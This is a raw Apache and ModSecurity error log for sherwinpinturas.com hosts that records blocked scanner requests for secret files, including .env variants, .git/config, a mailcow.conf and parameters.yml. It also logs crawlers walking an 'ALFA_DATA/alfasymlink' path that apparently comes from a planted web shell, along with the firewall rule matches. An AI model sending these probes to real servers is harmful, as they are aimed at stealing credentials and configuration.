[Sun Oct 25 03:11:20.997566 2026] [security2:error] [pid 2775672:tid 2775672] [client 136.90.117.94:46960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2rmMqduxFlyzJhl1wEAgAAAAA"]
[Sun Oct 25 03:11:30.140862 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.81.253.213:60022] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:11:38.119147 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 18.207.89.138:18734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:11:41.305064 2026] [core:error] [pid 2781480:tid 2781480] (13)Permission denied: [client 85.208.96.212:53846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/align
[Sun Oct 25 03:11:42.124911 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.210.204.255:6267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:11:46.127624 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 50.16.248.61:34085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:11:53.772101 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 85.208.96.196:53158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/reclaim_account
[Sun Oct 25 03:11:56.951962 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 185.191.171.2:42398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/red_zone
[Sun Oct 25 03:11:58.120740 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.202.52.82:63336] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:12:10.144501 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 54.159.98.248:34435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:12:14.124452 2026] [ssl:error] [pid 2775672:tid 2775672] (5)Input/output error: [client 3.81.253.213:43263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:12:26.126672 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 23.23.180.225:59251] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/rescan
[Sun Oct 25 03:12:30.356517 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.202.233.37:15711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:12:34.142280 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.44.174.136:1644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:12:37.158335 2026] [security2:error] [pid 2781523:tid 2781523] [client 43.163.80.48:47034] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "at2r5dxXWZMI2DaSlsHwOQAAABY"]
[Sun Oct 25 03:12:58.158165 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 44.223.116.180:15725] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/dw_dmac_pci/bind
[Sun Oct 25 03:13:00.908022 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 85.208.96.201:46726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:13:06.189952 2026] [security2:error] [pid 2781507:tid 2781507] [client 52.6.232.201:32023] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/cpu0/firmware_node/thermal_cooling/"] [unique_id "at2sAp68N771hz7W4KlrsAAAAAw"]
[Sun Oct 25 03:13:06.189992 2026] [security2:error] [pid 2781507:tid 2781507] [client 52.6.232.201:32023] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/cpu0/firmware_node/thermal_cooling/"] [unique_id "at2sAp68N771hz7W4KlrsAAAAAw"]
[Sun Oct 25 03:13:10.376439 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 18.207.79.144:61679] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/rescan
[Sun Oct 25 03:13:30.155509 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 98.83.94.113:59817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:13:34.266443 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 34.236.135.14:8123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:13:46.308377 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 44.223.116.149:8675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:13:50.166603 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 100.25.120.246:28016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:13:58.131453 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 100.29.63.24:13477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:14:06.276171 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 44.197.76.210:14665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:14:12.245335 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-json/gravitysmtp/v1/tests/mock-data"] [unique_id "at2sRKrU4NwppjTEGaL5MAAAAAY"]
[Sun Oct 25 03:14:12.245388 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-json/gravitysmtp/v1/tests/mock-data"] [unique_id "at2sRKrU4NwppjTEGaL5MAAAAAY"]
[Sun Oct 25 03:14:18.176661 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.89.170.186:53797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 03:14:18.959818 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "at2sSqrU4NwppjTEGaL5dgAAAAY"]
[Sun Oct 25 03:14:18.960228 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "at2sSqrU4NwppjTEGaL5dgAAAAY"]
[Sun Oct 25 03:14:18.960470 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "at2sSqrU4NwppjTEGaL5dgAAAAY"]
[Sun Oct 25 03:14:19.540621 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "parameters.yml" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: parameters.yml found within ARGS:file: app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "at2sS6rU4NwppjTEGaL5egAAAAY"]
[Sun Oct 25 03:14:19.625064 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "at2sS6rU4NwppjTEGaL5egAAAAY"]
[Sun Oct 25 03:14:19.625647 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "at2sS6rU4NwppjTEGaL5egAAAAY"]
[Sun Oct 25 03:14:19.802900 2026] [proxy_fcgi:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 03:14:19.884244 2026] [proxy_fcgi:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 03:14:19.964404 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2sS6rU4NwppjTEGaL5fQAAAAY"]
[Sun Oct 25 03:14:19.964655 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2sS6rU4NwppjTEGaL5fQAAAAY"]
[Sun Oct 25 03:14:19.965068 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at2sS6rU4NwppjTEGaL5fQAAAAY"]
[Sun Oct 25 03:14:20.205881 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/log/production.log"] [unique_id "at2sTKrU4NwppjTEGaL5gAAAAAY"]
[Sun Oct 25 03:14:20.206398 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/log/production.log"] [unique_id "at2sTKrU4NwppjTEGaL5gAAAAAY"]
[Sun Oct 25 03:14:20.206733 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/log/production.log"] [unique_id "at2sTKrU4NwppjTEGaL5gAAAAAY"]
[Sun Oct 25 03:14:20.366801 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/debug.log"] [unique_id "at2sTKrU4NwppjTEGaL5ggAAAAY"]
[Sun Oct 25 03:14:20.367267 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/debug.log"] [unique_id "at2sTKrU4NwppjTEGaL5ggAAAAY"]
[Sun Oct 25 03:14:20.367629 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/debug.log"] [unique_id "at2sTKrU4NwppjTEGaL5ggAAAAY"]
[Sun Oct 25 03:14:20.449817 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2sTKrU4NwppjTEGaL5gwAAAAY"]
[Sun Oct 25 03:14:20.450090 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2sTKrU4NwppjTEGaL5gwAAAAY"]
[Sun Oct 25 03:14:20.450470 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at2sTKrU4NwppjTEGaL5gwAAAAY"]
[Sun Oct 25 03:14:20.530465 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at2sTKrU4NwppjTEGaL5hAAAAAY"]
[Sun Oct 25 03:14:20.530752 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at2sTKrU4NwppjTEGaL5hAAAAAY"]
[Sun Oct 25 03:14:20.531169 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at2sTKrU4NwppjTEGaL5hAAAAAY"]
[Sun Oct 25 03:14:20.531220 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at2sTKrU4NwppjTEGaL5hAAAAAY"]
[Sun Oct 25 03:14:20.531240 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.local"] [unique_id "at2sTKrU4NwppjTEGaL5hAAAAAY"]
[Sun Oct 25 03:14:20.636469 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at2sTKrU4NwppjTEGaL5hQAAAAY"]
[Sun Oct 25 03:14:20.636736 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at2sTKrU4NwppjTEGaL5hQAAAAY"]
[Sun Oct 25 03:14:20.637079 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.env.production"] [unique_id "at2sTKrU4NwppjTEGaL5hQAAAAY"]
[Sun Oct 25 03:14:20.966099 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2sTKrU4NwppjTEGaL5hgAAAAY"]
